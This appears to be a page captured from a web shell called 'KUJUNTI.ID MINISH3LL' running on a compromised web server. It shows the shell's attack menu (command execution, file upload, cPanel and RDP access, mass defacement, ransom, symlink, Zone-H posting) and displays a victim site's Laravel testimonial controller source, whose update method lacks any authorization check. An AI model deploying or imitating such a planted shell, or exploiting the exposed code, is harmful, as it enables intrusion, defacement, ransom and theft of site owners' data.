KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/app/Http/Controllers/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/app/Http/Controllers/TestimonialController.php


<?php

namespace App\Http\Controllers;

use App\Http\Requests\TestimonialRequest;
use App\Models\Testimonial;
use App\Repositories\TestimonialRepository;

class TestimonialController extends Controller
{
    public $repository;
    public function __construct()
    {
        $this->repository = new TestimonialRepository();
    }
    public function getTestimonials(){
        $testimonials = Testimonial::all();
        return view('about', compact('testimonials'));
    }
    
    public function store(TestimonialRequest $request){
        $result = $this->repository->store($request);
       return response()->json('success'.$result);
    }
     
    public function update($id)
    {
        $testimonial = Testimonial::find($id);
        $testimonial->update([
        'name' => request()->name,
        'status' => request()->status,
        'rating' => request()->rating,
        'content' => request()->content,
        ]
        );
    }
    public function destroy(Testimonial $testimonial){
        $this->authorize('delete', $testimonial);
        $testimonial->delete();
        return response()->json();
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support